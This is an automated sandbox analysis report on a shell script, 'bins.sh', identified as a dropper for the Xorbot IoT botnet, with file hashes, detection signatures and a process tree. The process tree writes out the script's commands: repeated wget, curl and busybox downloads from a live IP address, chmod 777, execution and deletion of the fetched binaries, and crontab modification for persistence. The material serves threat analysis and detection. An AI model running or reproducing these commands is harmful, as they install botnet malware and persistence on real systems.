Analysis

  • max time kernel
    149s
  • max time network
    88s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 22:45

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    efbcf30c8abd1e80a0dd54b19276ebf5

  • SHA1

    6f341a5f8e20188054977b1993d671020cfcf8b7

  • SHA256

    d1f0c8c0899eb6c4fb7602943cb2483daebfa5ec71a7e196cd01cca5beb0a597

  • SHA512

    a1c6d5a9aa4331810201275dce569e5667f2ac12fc376ca47696c2dd078d8c17853f196dd13ed3ac8f4f7661680f35db02f2310433daf9753face3853446d1fa

  • SSDEEP

    192:9jrrX8D8I1NlsogS68ApxXhrX8Dh1NlsoxK8Ax:FrrX8D8hS68ApxRrX8D5K8Ax

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          ./KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Executes dropped EXE
          PID:687
        • /bin/rm
          rm KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Writes file to tmp directory
            PID:712
          • /bin/chmod
            chmod 777 dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • File and Directory Permissions Modification
            PID:715
          • /tmp/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            ./dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Executes dropped EXE
            PID:717
          • /bin/rm
            rm dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
              PID:721
            • /usr/bin/wget
              wget http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Writes file to tmp directory
              PID:722
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:728
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • File and Directory Permissions Modification
              PID:743
            • /tmp/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              ./74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm 74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:753
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/chmod
                chmod 777 nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • File and Directory Permissions Modification
                PID:755
              • /tmp/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                ./nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:756
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:758
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:759
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:760
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:761
                  • /bin/rm
                    rm nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                    2⤵
                      PID:766
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                      2⤵
                        PID:769
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                        2⤵
                          PID:771
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          2⤵
                          • Writes file to tmp directory
                          PID:773
                        • /bin/chmod
                          chmod 777 IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          2⤵
                          • File and Directory Permissions Modification
                          PID:779
                        • /tmp/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          ./IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          2⤵
                          • Executes dropped EXE
                          PID:780
                        • /bin/rm
                          rm IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          2⤵
                            PID:781
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                            2⤵
                              PID:782

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.ZxODRa

                                  Filesize

                                  210B

                                  MD5

                                  e41b0125bd0a7963882648dbe49b5544

                                  SHA1

                                  843140eb8efe1133c2298ca168dd6a0406bb0d6b

                                  SHA256

                                  5e709a4e0a1d3d2880d8bef5bd48d45244882d34509d82ac67d81255f4ec45ad

                                  SHA512

                                  cf0d87b0b9f8e852aaee1d535eb147ee9d21f07aa5be0fed3247af4a449c9f811cfa444c14e16c3406200c3f7f40e0579dece4eb50e52efdf15dccb29801c3ff